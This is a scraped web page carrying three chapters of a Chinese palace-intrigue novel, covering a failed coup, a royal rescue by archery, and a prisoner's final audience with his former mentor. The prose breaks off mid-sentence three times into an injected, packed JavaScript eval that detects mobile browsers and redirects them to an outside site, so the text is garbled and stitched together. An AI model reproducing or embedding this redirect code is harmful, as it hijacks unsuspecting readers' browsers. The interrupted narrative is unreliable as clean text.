大雍有制,穿甲上殿,比戴剑还要更罪不容诛。可是长沙王还在乎什么呢?他也许真是天命所归了。 门外杀声忽止,有极其沉重的脚步声逐渐逼近。所有人的视线都盯着那扇殿门,没有人看到原本木偶般端坐着的萧盈突然站了起来。 殿门被“吱呀”一声推开,只见邓霄那张大胡子里的脸从门缝里露了出来。萧忞纵声大笑,突然剑指萧盈:“谁杀了这伪帝,本王赏他——” 但他的话没有说完。邓霄的身子怪异地立在门口,并不往前迈步。然后一只手伸出来,从他脑后推了一下,那颗毛发丛生的脑袋就从颈子上滚了下来,咕噜噜地一直滚到了殿内,沿途洒下无数粘稠的血。那具身体还立在门槛外,血像喷泉似的,从腔子里“嗤”地激射而出,好一会儿才重重地往前一扑。 袁煦手持一把偃月刀站在门口,满脸满身的血,宛如杀神现世。 萧盈的声音这才响起来:“长沙王要赏什么?” 一切都发生得太快了。明绰的眼睛还死死盯着那颗头颅,萧忞已经再次把剑横在了她的脖子上。她感到自己的脚离了地,萧忞似乎拽着她在往哪里跑。母后的声音好尖利,可她一个字也听不清楚,因为萧忞一直在她耳朵边上厉声吼着什么,喊得她都要聋了。好多的血,地上,身上,还有她脖子里。触目所及只有金甲,无穷无尽,连成了云,溅上了血……到底哪里来这么多的金甲,虎符不是在母后手里吗? 然后,是皇兄的声音。明绰像是突然从水里浮了上来,听清楚了。萧盈的声音始终不高,可是他开口的时候,那些杂的声音都消失了,连母后都安静下来。 “放开长公主,”萧盈说,“朕留你全尸。” 萧忞纵声大笑。明绰发现他们竟然从太极殿里出来了,但她也分不清楚他们到底在哪里,萧忞的背后是高高的宫墙,方千绪也在他身边,身上的白衣都被血浸透了,无力地倒在地上,看不出生死。身边躺着好几具尸体,都穿着金甲,却做彼此厮杀的样子。崔挺在,袁煦也在,甚至袁增都在,但都离得很远,戒备地护着萧盈和谢拂霜。在他们身后,是数也数不清的执金吾卫。 萧忞的发冠不知什么时候已被击碎,头发凌乱地披下来,拂在明绰的脸上,好像虫子在她脸上爬。她突然受不了了,实在是太多的血,太多的脏,好像有什么东西绷断了一样,她崩溃地哭了出来。 “母后!”明绰喊了一声,谢拂霜立刻往前扑,恨不得以身替之。 “反正都是个死!”萧忞似是被她的哭声刺激,勒紧明绰的脖子,“我拉个真公主陪葬不好吗!” “不要!”谢拂霜失控地叫起来,“本宫饶你不死!” “谢拂霜,你还看不出来吗?你说了不算!”萧忞恶狠狠地瞪着她,“你的小傀儡长大啦!你控制不住他啦!” 他越说,手上就越紧。明绰其实没有感觉到疼,只觉得脖子里一片温热。她不知道她的血流得这样多,这样快。谢拂霜整个人往前一扑,被萧盈一把捞在了臂弯里。 “不要动我的女儿!”谢拂霜挣扎着,发出了不似人的惨叫,“我什么都答应你!” 萧忞扬声:“好!那你说!萧盈是不是我阿兄的儿子!你说实话,我就放过你女儿!” 谢拂霜转头就要开口,但是萧盈更紧地摁住了她:“母后,你冷静一点!” 谢拂霜突然被他刺了一下似的,萧盈至少有七八年没有再叫过她“母后”了。下一刻,谢拂霜一巴掌扇到了天子脸上。萧盈始料未及,人杵在当地,还没怎么动,谢拂霜自己倒失了平衡,头上沉重的金钗歪下来,摇摇晃晃的,只能抓着萧盈的襟口才维持自己不摔倒。 “溦溦要是有事……”谢拂霜咬牙切齿,气息拂到了萧盈的脸上,“我把你碎尸万段!” 萧盈什么都没说,只是平静地看了她一眼。他玉白的颊边已经浮现出了一片红,谢拂霜的指甲太长,甚至抓出了三道血痕。所有的人都看着他们,袁煦脸上露出愤慨之极的神色,似乎想上前,但是被袁增一把摁住。 萧盈低下头,握住了谢拂霜颤抖个不停的手,把自己的衣襟从她的抓握里拉出来,用只有她听得到的声音说:“朕怎么可能让她有事?” 这么多年不见天日,命悬一线,他只有明绰。 谢拂霜下唇剧颤,看着他,说不出话来。 萧盈突然扬声唤了一声:“中书令。” 谢聿躲在执金吾卫后面,挤了两下才挤到前面来:“陛下?” 萧盈强硬地把谢拂霜往他怀里一推:“照顾好太后。” 谢聿接住妹妹,顾不得谢拂霜的挣扎和反抗,赶紧把她拉开了几步。几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14949305|159969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫人迎上来,谢拂霜脱了力一般,整个人倒下来。谢聿语速飞快地交代:“送太后回太极殿!” 萧盈不搭理这头,又叫了一声:“桓湛,拿弓来!” 桓湛立刻把自己背的弓交给了萧盈,萧盈接过弓在手上掂了掂,然后拈箭搭弦,眯起一只眼睛瞄准了长沙王。萧忞立刻弓起身子,躲在了公主身后。 连袁煦都没忍住提醒:“陛下,小心伤了公主。” 他的箭术比天子好,但就连他也没把握能在不伤害东乡公主的前提下射杀长沙王。 萧盈便没说什么,松开了弓。谢聿抓紧时间进言:“陛下,还是先允诺长沙王出宫吧!逼急了,他……” “不行。”萧盈的语气淡淡的,歪着头,眯起一只眼睛,比划着什么,“现在还逼得不够急么?你看他根本就不敢动公主。” “可是……” 萧盈又放开弓,看着萧忞戒备地探出脑袋,他便马上又拉弓,吓得萧忞再缩起来。 一边嘴上淡淡地回答谢聿:“长沙王今日要是活着出宫,明日全境都会有人造反,谢家全族都得陪朕掉脑袋——对了,你去问问太父,方千绪此人留活口不留?” 谢聿顿时噤了声。谢郯还在太极殿里,压根就没跟出来。他好像是被谢拂霜的违逆之举气得气血难平,也有可能,是不想看见方千绪葬身乱刀之下,但谢聿不愿意去深想后面这个可能性。 萧盈把箭对准了地上了无生气的身体,似是有些犹豫。没想到萧忞竟然有了反应,推着明绰往前了几步,硬是把方千绪护在了身后。 “皇叔也算是有情有义,”萧盈突然抬高了声音,“不过朕有一句话,不知道皇叔肯不肯听?” 萧忞“呸”了一声:“你别叫我皇叔!” “朕是想不明白,邓霄兵强马壮,既已投到你麾下,你从荆州起事,不是更稳妥些吗?”萧盈再次把弦拉满,“何必只带着这么点人兵行险着?荆州主帅都被你带离了大本营,说折就折了,连条后路都不留?你不是还有好几个儿子吗?” 萧忞没搭腔,但明绰听到他的气息明显更重了几分。她刚才哭了两声,心里已经觉得好受一些,回过劲来了。听到萧盈这么说,明绰也道:“就是的。” 萧忞立马恶狠狠道:“你住口!” 萧盈低着头,又摆弄了一下手里的箭,一副对弓箭不太熟练的样子,口中却轻声道:“袁煦,别吓着公主,你要什么朕赏什么。” 袁煦猛地抬起头。萧忞为了护住方千绪往前了几步,已经缩短了他们之间的距离。仅仅几步。 “看来皇叔还是不明白啊。”萧盈就跟没说过那个话似的,又跟萧忞说,“方千绪哪是为了你的霸业?他不过是心里怀着怨,借着你来跟太尉寻仇罢了。” 萧忞怒道:“你胡说!亚父他——” 就在这一瞬间,萧盈突然举起了弓,甚至没有一个瞄准的过程,直接放箭。没有人一个人反应过来发生了什么,一个身影已经大步往前一跨,几乎和箭同速。明绰只感到脸颊边热了一下,什么东西擦了过去。然后就是一把大力猛地把她往前一拽,她甚至不知道萧忞是什么时候、又是为什么松开了她,人就已经被袁煦拉了过去。但袁煦没有接住她,反而借势与她擦肩而过,将明绰又往前推了一把。她只听到身后传来了偃月刀挥起来的沉重呼啸,然后是利落的“咔嚓”一声,萧盈已经奔到了她面前,手臂稳稳地接住了她。 明绰猛地撞进萧盈怀里,还想回头,但是萧盈的手捂住了她的眼睛。 “别看。”萧盈的身上还是那股熟悉的淡淡的药味,然后他的手移到她的脑后,把她搂紧,贴在自己的胸口。明绰听见他的心跳,轰隆隆地响,像山塌下来,地又陷下去。很快,很急,又很沉。她好一会儿才意识到那里面还有她自己的心跳,混在一起,响成一片。她脖子里的血还在流,只是流得很慢了,一点一点,把萧盈身上一件干净的冕服浸湿。她已经很久没有再穿过皇兄的冕服了,明绰麻木的手指无意识地拂过贵重粗糙的金线,突然没由来地想到了这个。 她很微弱地叫了一声皇兄,但是萧盈没有听见。执金吾卫们的金甲连成了天边的云,溅上鲜红的血。他们的声音汇聚成同一个声响,和萧盈的心跳一样,隆隆地震碎明绰脚下的地。 很久之后,明绰才听清楚,那是他们在山呼万岁。 18.第 18 章 执金吾卫令行禁止,片刻间把太极殿外的尸体清理干净。东乡公主被救下之后就被太后带回了上阳宫,同时传太医,硬是把天子也遣回含清宫去,看看有无受伤。上阳宫随即传出严令,整座宫城封禁,太极殿里的宗亲不得诏令一个也不许放。唯有崔挺、袁增二将一起跪在上阳宫外,等待召见。 但是太后只召见了崔挺。 按照崔挺的说法,荆州刺史邓霄假扮回营复命的执金吾卫军侯混进大营,意图不轨。幸亏平荆中郎将今日在校场操练,邓霄一见中郎将在此便知会被他认出,今日事必不可成,竟然狗急跳墙率领三百人攻入皇宫。好在宫中及时传出了虎符,崔挺才得以调兵。如今叛军已被全歼,执金吾卫右中侯亲自率人去搜寻李姬和萧忞二子的下落。现将虎符奉还,请太后放心。 他说到最后,双手将那半片虎符奉上。谢拂霜接到手里一掂,当即就往崔挺脸上一扔。崔挺没避开,一副意料之中的神情,把头低下,木然道:“臣救驾来迟,太后恕罪。” “救驾来迟?”谢拂霜冷笑一声,“崔卿太谦虚了!本宫看你是来得太早了!” 崔挺这套话漏洞百出,谢拂霜一听就知道他搞的什么鬼。邓霄既然敢去执金吾卫的大营,怎么会看见袁增在那里就知道“事不可成”,还知难而退?又怎么可能在被崔挺发现以后还有机会以三百人来攻皇城?多半是邓霄拿了方千绪的什么锦囊妙计,说服了崔挺支持长沙王,所以谢郯布下的刀斧手才会被射杀。袁增此时再出现,见他手持虎符,崔挺便临阵倒戈,让袁煦那莽夫斩了邓霄,死无对证。 可是那虎符缺斤少两,成色不对,都不必和崔挺手中那半块对上就知道是假的。真正的虎符一直握在谢拂霜手中,这东西是出自于谁,其实不必多问就知道。 谢拂霜突然想起来,崔挺汇报过,跟着王诃去荆州的三百人一直没有归营。但他故意装得只是随口一提,当时谢拂霜为了女儿下落不明正心烦意乱,听见了也没多想。 但现在她一串起来就明白了,三百人未归营,崔挺就知道事情有变,王诃不是叛了就是死了。要只是死了还好,若是真去造反,崔氏全族都要被牵连。太后此刻看王家正不顺眼,崔挺要留个后手。不能做得太明,太后这里要提一句,以防太后回过神来治他瞒报之罪;陛下那里也要通传,但要在太后眼皮子底下去含清宫面圣或者递奏疏都是不安全的——谢拂霜猛地反应过来,是袁煦。 当初为了拉拢袁家,许了袁煦宫禁行走的自由。 看来萧盈也确实没有辜负崔挺一番苦心,一下子就猜到了这里面的七弯八绕,甚至算到了邓霄有可能兵行险着去策反崔挺。 他本可以下令让崔挺先下手为强,要么提前在宫中布防,要么看见邓霄露面就把他就地正法,那么这场叛乱就会随着长沙王孤立无援地血溅太极殿而结束。但萧盈选择了传假虎符,命令崔挺将计就计,领兵随邓霄入宫,堂而皇之射杀太尉府的人,在宗亲们面前演了一出兵围太极殿的好戏,然后到关键时刻让袁煦斩杀邓霄,他亲自把长沙王逼退到墙角,一箭立威,换得山呼万岁。 真正的虎符确实还在太后手里,军心就未必了。 还真是小看这个病秧子了。谢拂霜牙关几乎咬出血,但崔挺也只是一声不响地跪在她面前。她抓不到崔挺的错处,他也很清楚这个,才敢这样近乎挑衅地来她面前睁着眼睛说瞎话。治假虎符之罪吗?可是执金吾卫的半片虎符本就应该握在天子手里,留在太后手中才是名不正言不顺,只是没人来较这个真,若非要追究,反而给了萧盈把虎符要回去的机会。 “好。”谢拂霜只道,“好得很。” 崔挺再叩头:“臣有罪。” “崔卿这是立了大功,何罪之有啊?”谢拂霜压着火气,“崔卿出生入死辛苦了,不如回去好好休养,执金吾卫自有右中侯在。” 崔挺好一会儿都没说话,虽然左右中侯都算是他的副手,但右中侯楚培仗着楚氏沾着皇亲,从来不服崔挺。左中侯才是崔挺亲信,也已经被太后发落,如今太后说这话,就是要他自己退。 崔挺审时度势,已知无路可选。他给陛下通风报信,怎么也得罚一罚才能平了太后心口的气,不然的话,今日虽拿不到错处,以后也早晚会有更要命的错处。倒是眼下天子大有胜算,他亲政一日,自是崔挺起复之时。于是他果断地一低头,只道:“臣遵旨。” 崔挺当即将中尉的盔甲和印信都卸下,连一句哀求央告都没有,沉默着再拜谢恩。谢拂霜仿佛从他的沉默里读到了他真实的想法,也不给他留颜面,人还没站起来,谢拂霜就召人来把中尉的盔甲印信全都送去给楚培。崔挺脸上挂不住,走的时候连声告退都懒怠再说。他一走,谢拂霜便站不住似的,往后退了两步,颓然跌坐。 “芸姑!”谢拂霜习惯性地扬声唤人,“芸姑!” 然而进来的只有灵芝:“太后,梁女史还被关着呢。” 谢拂霜厉声喝道:“还不去接她回来!” 灵芝被吓了一跳,连连应声,转身要去传令,刚跑出两步,又想起什么,跑回来道:“太后,中郎将还在外面……” 谢拂霜摁着越来越痛的太阳穴,烦躁地闭上了眼睛。她知道袁增要的是什么,萧盈连他也一起安排好了——袁家竟也归了萧盈!谢拂霜恨得咬牙切齿,只觉得萧盈像是缠在她身上的小鬼,她费尽心思筹谋的局,拉拢的人,只因他在名义上是她的儿子,是更为名正言顺的天子,就轻而易举地全部摘去,反过来变成与她相斗的筹码。她此刻不想遂袁增的意,更不想遂萧盈的意。但眼下没有更好的安排,她不能为了跟萧盈斗而置大雍江山于不顾。 “出去告诉他,荆州归他了。”谢拂霜从牙缝里挤出来一句话,“让他带着儿子即刻就出发,荆州军要是敢出一点乱,让他提头来见!” 她话中隐隐有金石相振之声,生杀予夺,只在片语,竟让躲在屏风后的明绰没忍住打了个寒噤。灵芝也跑出去了,临走,谢拂霜还不忘叮嘱“快把梁女史接回来!”。 又过了一会儿,明绰便听见母后压抑着呻|吟了两声,似是难受得紧。她心中不忍,想走出去,却又听见谢拂霜低低地唤,芸姑,芸姑。连叫了两声,含着无限的痛苦和愤懑,多少说不出来的苦楚都含进了这两声低唤中。明绰突然止了步,意识到此刻也许母后此刻想见的人不是她。 她被长沙王的剑架着脖子的时候,谢拂霜恨不得以身替之,可是她被救下来以后,母后除了把她从萧盈手中抢过来的那一瞬间流露出了情绪,接下来就只有冰冷的愤怒和沉默,连太医来给她看脖子里的伤,谢拂霜都没有过问。 明绰知道她闯下了大祸。她以为让王执瑈出家做不成皇后,母后就可以满意,太父也不能说什么,可是一切都裹进了长沙王的叛乱里,彻底乱了套。如果不是她自作聪明,王家不会跟太后撕破脸,崔挺也许就不会为了自保背叛太后。如果她没有出现在龙盘山,方千绪肯定会带走慈安来要挟,那么母后也就不会如此受制于人…… 明绰想到这里,心里突然一冷。母后会在意自己生母的死活吗?这个问题她想不到答案,她只为了自己竟然会这样想而感到某种说不出来的恶心。 屏风另一面又传来脚步声,打断了明绰的思绪。然后她听见了一个熟悉的声音,是含清宫里伺候皇兄的小黄门任之。 “太后,”任之禀报,“陛下来问,太极殿里的宗亲何时能归家?” 谢拂霜对任之没什么好脸,冷冰冰地回道:“这样的事陛下也要来问本宫吗?他愿意放就放,执金吾卫都听他调遣!” 任之:“太后不发话,陛下不敢。” 谢拂霜冷笑一声,竟是许久不曾说什么。 明绰在母亲的沉默里慢慢地回过味来,那些宗亲们今天听了方千绪这些话,保不齐有些人心里要有歪的心思,执金吾卫往门口一站,谁也不让走,这就有点儿意味深长。任他们去想,谢太后是不是要杀人灭口?全杀光了,把事情往长沙王身上一推,岂不是方便得很? 就连明绰也没忍住在心里想,母后难道真要全杀了? 别管天子与太后之间实际上已经多么水火不容,在这件事上,天子和太后,乃至整个谢家,都还是一根绳上的蚂蚱。所以太后下令执金吾卫封禁太极殿,萧盈也没有马上利用自己新建立的威望来反抗太后的命令。 他非常清楚,太后与谢氏之威并非一朝一夕建立起来的,将士们山呼万岁只是一时的气血上涌。立刻就和太后对着干,未必就能一呼百应。萧盈让小黄门来看太后的脸色,无非是说,他还是尊她为母。 而谢拂霜也没有任何选择。长沙王谋逆是谢拂霜亲自定下的罪,袁增去荆州赴任刺史,必会奉命将萧忞一脉屠戮殆尽。眼下萧氏宗室当真无人,要是没有他这个天子,谢拂霜也做不成这个太后。 所以谢拂霜不语。她被沉默淹没,耳边突然又响起了十五年前的那场雨,淅淅沥沥,淋湿了她半生。 那孩子被方千绪抱进宫的时候她没有亲眼见到,血房不吉,父亲一直在外面守着。她只听见雨声,还有父亲和方千绪争执的声音。父亲说这个孩子都快两岁了,如何骗过百官。方千绪却一再坚持,他卜过这孩子的命,“大雍之兴,皆系此子。” 就这么一句话,父亲信了。 他们说,这是命。是这孩子的命,也是她女儿的命。就因为他们出生的时候天上那几颗看不见的星子?她不信这个命——连方千绪也未必是真信,不然他岂会襄助长沙王来造萧盈的反?这一切不过是因为两个孩子生来一个是男人,一个是女人。 可是为何萧盈这样聪明,还有这样的气运?他才只有十六岁,朝不保夕地在她一碗药下心痛了这么多年,一朝翻身,竟然能这样沉得住气,不急着向她寻仇,反而先谋共利之好。 这样的孩子,若是羽翼再丰一些,她还拿得住、斗得过吗? “此事不劳陛下费心,”谢拂霜终于开了口,“关一夜,想明白了,自会放他们回去。” 任之问到了答案,唱了声诺便告了退。明绰在屏风后听着,谢拂霜很明显又犯了头风,但来的人络绎不绝,诸般杂务,什么都要汇报给她听。宗亲们迟迟不回家,那些权贵们从自家的楼阁里就能看见大批执金吾卫入宫,本来就预期这是鸿门宴了,谢拂霜再怎么想封锁消息也是于事无补。尚书令桓廊已经率人入宫求见,太后躲也躲不过,只能忍着与他们周旋。 明绰退出来,正看见灵芝领着一位身着金甲的人过来,显然也是要求见。只是这位执金吾卫穿着怪异,身上是军侯的甲,头上却是中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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明绰匆匆跑进殿中,看见萧盈正和桓殷一起蹲在一个老者身边,正扶着他让太医诊治。明绰依稀记得此人姓石,曾经也是个驸马,娶的就是大将军之母安阳公主的哪个姐妹,但具体哪一个,明绰已经记不清。 石驸马如今都八十多了,他的公主妻子早已逝世,还是被太后召来这宗亲宫宴。当时有人从殿外射杀刀斧手的时候,石驸马行动不便,躲闪不及,被流矢擦伤了大腿。后面事情一件赶着一件,他人微言轻,竟也不敢说自己受了伤。一直被关在这太极殿里,直到血浸透了整条袍子才被大将军发觉。 石驸马颤颤巍巍的,仍要给萧盈行礼:“陛下,老臣不敢……不敢……” 萧盈摁住他,一时竟也不知道按照辈分该怎么称呼,只好温声道:“老寿星别动,让太医看看你的伤。” 明绰停在几步远的地方,没过去。萧盈也没有看见她,一路把耳朵贴到石驸马的嘴边听他说了什么。听完了,还露出了一丝笑意,又安抚地握着老人的手。石驸马经了四朝,也没哪个天子这般对他关切,一时竟然老泪纵横。桓殷在一旁看着,目光落定在萧盈身上,神色若有所思。 太医给石驸马止了血,唤了两个小黄门过来把人扶起来,萧盈和桓殷这才放开手。两人都站了起来,萧盈看见袖上沾了血,正低着头拂。桓殷十分大胆地打量着他,明绰心里顿时一紧,意识到大将军是在量萧盈的身高。 “陛下是生得比寻常人高些,”桓殷淡淡地开了口,“真是芝兰玉树。” 萧盈笑了笑,凑到了桓殷耳边。其实他没什么机会跟大将军说过话,但开口的姿态却非常自然,好似一对明君良将,本该如此亲密熟稔。 “北地的蛮人都生得比咱们高,大将军可知是为何?” 桓殷微微一退:“人种有不同……” 萧盈轻轻摇了摇头,打断他:“那都是他们自小喝牛乳喝出来的。” 桓殷怔了一下,倒是确实听说过这个话。北地的蛮兵更容易出大块头,体格健壮,力大如牛,多是游牧为生,自小拿牛乳当水喝。 萧盈抬手理了理袖袍,负手而立,笑着对桓殷道:“朕幼时体弱,母后心疼,含清宫里日日供着醍醐,连长公主都吃不着,还要上朕这里偷吃呢。” 桓殷斟酌着陪了一个微笑:“太后慈母心肠。” “朕记得,桓大将军家里孙儿也七岁了吧?”萧盈突然又道,“醍醐是好东西,以后宫里每日都送一碗到府上。” 桓殷连忙躬身:“老臣无功——” “桓家有功!”萧盈一把握住他的手,“桓湛平叛定乱,也是大将军的功。” 他下了力气往下摁了摁,君恩如山,君威也如山。桓殷的手被摁下几寸,眉目不惊,肩上却似塌了一层。然后他低下头,轻声道:“桓殷谢陛下天恩浩荡。” 明绰看了一会儿,什么都没说,也没有出声唤萧盈。他的胸口还浸着一小块暗色的血,就在心口,几个时辰前,他曾那样用力地把她搂在怀里的位置。 她转过身,无声地走出了太极殿。桓廊几乎与她错身而过,带来了太后解禁太极殿的诏令。不知道他是怎么说服母后的,多半是拿中书令已经把太尉送回了家一事来说嘴。母后此时应该很气急,但是明绰并不担心宗亲们还有谁会有异心。 殿外,残阳已如血。 19.第 19 章 暗室幽窗,一灯如豆。 方千绪盘膝面壁,坐于灯下,面前只一碗清水,已入了定。他虽然还俗多年,但是打坐的功夫不曾丢。囚室被打扫得很干净,他被乱刀所伤,虽不致命,但伤口深长,太医嘱咐居室要清洁,也不可过于寒凉。楚培没慢待他,着人熬了当归黄芪等等补气血的药送来,他也照喝,毫不惧怕有毒。 囚室门口发出拖长的“吱呀”一响,惊动了灯下的人。方千绪睁开眼,但没有回头,只听见一个人沉重的脚步声,停在囚室里唯一的坐席前,然后是微微粗重的呼吸,来人的身体似是比重伤的方千绪还要不好,只是坐下的动作就耗费了他无数力气。囚室外没再听见脚步声,相送的人留在门外,始终没走。 方千绪静静地听着坐下的人调整好呼吸,重新平复,才开了口:“太尉大驾光临,方某有失远迎了。” 谢郯轻轻地咳了一声:“你如今不叫我老师了?” 方千绪重新把眼睛闭上:“太尉十五年前已经说清楚,你我师徒之情尽断,方某不敢攀附。” 谢郯什么都没说。十五年前那场争吵仍历历在目,如同昨日。方千绪自恃才高功大,他为大雍寻来幼主,解国难,定江山,扶社稷,谢家的权势有他一半功劳,为何他不能出任尚书令?除了家世出身,他比桓廊差在哪里? 谢郯因此大怒。可他斥责一句贪权,方千绪就有十句百句等着还他,伪善,势利,迂腐……能骂的方千绪都骂过了。但那时谢郯纵着他,他骂得多难听,谢郯再生气,最多也就是拂袖而去。 可他越纵,方千绪就越恨,直到他终于明白,谢太尉不肯许他入仕不是因为清正不肯弄权,而是他不能允许自己的玩物与他并肩站在朝堂上。 “你走以后,我派人到处找过你。”谢郯突然轻声道,“你真是好本事,消失得无影无踪。” 方千绪微微垂头:“太尉要灭我的口,我岂能不躲?” “是李姬收留了你?难怪我找不到。” 方千绪也不否认,只是冷笑了一声。 “难为她,当年那个情形,还有余力护着你。”谢郯叹了口气,“你是如何识得李姬的?” 方千绪闭上眼:“同太尉又有什么关系?” “让李姬把萧盛和萧益交出来,我可以饶她的性命,让她去瓦官寺出家,安度余生。” 方千绪终于转过头来,看定了谢郯,许久,露出了一丝讽刺的笑意:“像王夫人那样吗?” 谢郯眼下突然一抽,好像方千绪抽了他一巴掌。方千绪看得清清楚楚,唇边的冷笑便扯出几分快意。 “我与李姬相伴多年,有夫妻恩义,太尉还是死了这条心。” 谢郯又陷入了沉默。方千绪现在已经转身过来,两人对坐而望。即使过了这么多年,即使是成了阶下之囚,身负重伤,即使这样充满了讽刺和恨意,他一笑起来也仍是好看的。只是这种美也成了挑衅,他的眼睛像镜子,一览无余地照出了谢郯的苍老和衰弱,让谢郯突然升起一股毁灭他的冲动。 “夫妻恩义?”谢郯的声音冷冰冰的,“李姬的丈夫是孝文皇帝。萧忞唤你几声‘亚父’,你便忘了自己到底是什么人吗?” 方千绪的笑容僵在了脸上,但逞强似的不愿褪去,嘴角怪异地斜着,眼睛死死地盯着谢郯。 “太尉想说什么?”方千绪的声音很轻,“说我不过是个以色侍人的男宠?” 谢郯没答这话,反而突然猛烈地咳起来,好一会儿都平复不下去。他亦不愿在方千绪面前露出这般无力的样子,撑着膝盖想站起来,但用了好一会儿力气都没站得起来,反而把自己累得不行。方千绪就这么一言不发地看着他,眼神从方才的憎恨变作痛快,但只是短短一瞬,又变成了更为复杂的难堪,好像谢郯的老和病都成了对他的冒犯。 “你怎么……”他起了个头,又没说得下去。 谢郯终于放弃了起身,坐在那里,气喘吁吁。 “去岁病了一场,一直没好全。”他突然说,“你那药,不管用了。” 方千绪眼中的情绪更加复杂起来。谢郯很多年前就有肺疾,冬季最容易发。方千绪曾为他配了一良方,能让他冬日好过一些。 “你老了。”方千绪道,“人老了,什么药都不管用。” 谢郯的手本来掩着唇,闻言轻轻地放了下来。有那么一瞬间,方千绪很想问他,难道太尉当真是来问他李姬在哪儿的吗?其实他是真的不知道。什么相伴多年,夫妻恩义,也是胡扯的鬼话。李姬当年在建康如履薄冰,对谢拂霜怕如蛇蝎,哪里敢动太尉的人。是方千绪深恐谢郯灭口,远走江湖,流落荆州,听说萧忞就藩,才拜到长沙王府上。建康盯得太紧,萧忞不敢给他官职,这才托了个不像话的“面首”之名。 这么些年在人前扮恩爱,他和李姬倒也确实做过几夜夫妻。可是谁不知道他方千绪是太尉的什么人,李姬一副为了儿子被迫委身的样子,她恶心,方千绪其实也恶心,后来也就装不下去了。若谈恩义,他对萧忞还有些相报之意,对李姬,那是半分也没有的。 如今建康城已经被封得铁桶一块,李姬没有文牒出不了城。执金吾卫就是挨家挨户地搜,也不过多花些时日。萧忞已死,败局已定,李姬和那两个孩子是什么下场,方千绪根本不在乎。当日决心兵行险着,他就没想留后路。 所以楚培待他客气,也不是为了从他嘴里抠出李姬的下落,多半还是萧盈的意思。方千绪心里算着,天子是想施恩,好寻个机会让方千绪自己承认当初都是为了替长沙王谋反才构陷他的身世,或者是想留着问一问自己真正的父母到底是谁。 方千绪一直在等天子召见,可是如今,来的却是谢郯。 “太尉也不必装模作样非要找个由头来审我了。”方千绪笑了笑,忽然换了个语气,“谢郯,你来送我上路吗?” 谢郯没说话,门外却传来了一声异动,像是有人已经按捺不住。 “你带了谁来?”方千绪问他,“云松?” 云松正是谢聿的字。 “遂了他的意,”方千绪笑笑,“二十几年前他就想杀了我。那日太极殿里也是,若不是陛下到了,我都没命到现在……” 他们姓谢的作风一贯如是,当权太久了,手腕就硬,也没什么顾忌,总想着杀人。不像萧盈,被谢家压得太久了,只好身段软些,处事都留余地。对付石头,就得化成水。方千绪想到这里就只有一声暗叹。筹谋多年,每一步都针对谢郯父女,却忽略了萧盈已长大成人,竟叫他翻了盘。方千绪自嘲地苦笑,又莫名生出几分凄凉的自豪。他没卜错,萧盈就是命中注定的明君。他本可以辅佐年少有为的君王,封侯拜相,青史留名。可昔年壮志,到如今,成王败寇。 “让他进来吧。”方千绪整了整衣冠,转为跪坐的姿态,挺直了腰。 谢郯并未说什么,但外面的人听见了这话,已直接推门进来。果然是谢聿。他沉着脸,俯身将一个托盘放在了方千绪面前,一杯酒,一匹白绫,还有一把匕首。方千绪低头看了看,低低笑了一声:“我还有得选。谢郯,你待我真是不薄。” 谢郯:“你可还有什么话要说?” 方千绪掂了掂那柄匕首,在自己腕上比划了一下,说得很随意:“谢郯,我不是败给了你,我是败给了陛下——不过没关系,你也败在他手里了。” 谢郯摇摇头:“我与陛下同舟,谈何败与不败?” 方千绪闻言便大笑出声,随手将匕首扔回托盘里:“你还真是老糊涂了!” 谢郯没说话,但谢聿没忍住:“你什么意思?” 方千绪抬头斜了他一眼:“天子不是素来体弱吗?他是何时练成这样的箭术,中书令可知道?” 谢聿皱眉:“天子并未射中长沙王。” 方千绪“啧”了一声,很不耐烦的样子。那天他因刀伤倒地,失血过多,动弹不得,但并未完全失去意识。他离萧忞最近,看得也最清楚。 “公主挡在长沙王身前,任谁来了也是射不中的。可天子那一箭,既要近得让长沙王惊骇脱手,又不伤公主分毫,准头需在毫厘之间,比射中长沙王还难。五十步外射铜钱啊……”方千绪脸上露出残忍的笑意,“军中能有此等箭术的,怎么也得封个百夫长。云松没领过兵,看不出来也就罢了。老师,你也看不出吗?” 他忽然换了称呼,谢聿微微色变,低头看向父亲。 “哦,对了,你没看见。”方千绪反应过来,“连你亲生的女儿都不服你了,何况陛下?” “你不必摇唇鼓舌,挑拨离间。”谢郯眉目不动,“陛下成才,本就是我毕生所愿,陛下亦知我心意。” “我忘了,老师是忠臣。”方千绪又笑,“可你已经油尽灯枯,命不久矣。陛下却风华正茂,春秋鼎盛……” 他突然看向谢聿:“等你死了以后,陛下还会知云松的心意吗?” “哪里来这么多话!”谢聿皱紧眉头,“你若不选,我替你选!” 他说完就要伸手去取那柄匕首,方千绪往后一仰,一只手突然伸出来,谢郯拦住了儿子,轻声道:“放下。” 谢聿急道:“父亲!” 谢郯没再多言,在他手腕上一击。打得极巧,谢聿虎口一麻,匕首脱手落回托盘里,发出“当啷”一响。 方千绪突然纵声大笑。 “谢郯啊谢郯。”他揩了揩笑出来的眼泪,“你还真以为天下人怕谢太尉是你本事大么?他们怕的不过是你的家世!若不是出身谢氏,你以为你会比我强?除了阴布刀斧手,暗设鸿门宴,你还会什么?兵行诡道,制衡四方,离了我这些年,你做到了哪条?!如今竟然变得如此眼瞎耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 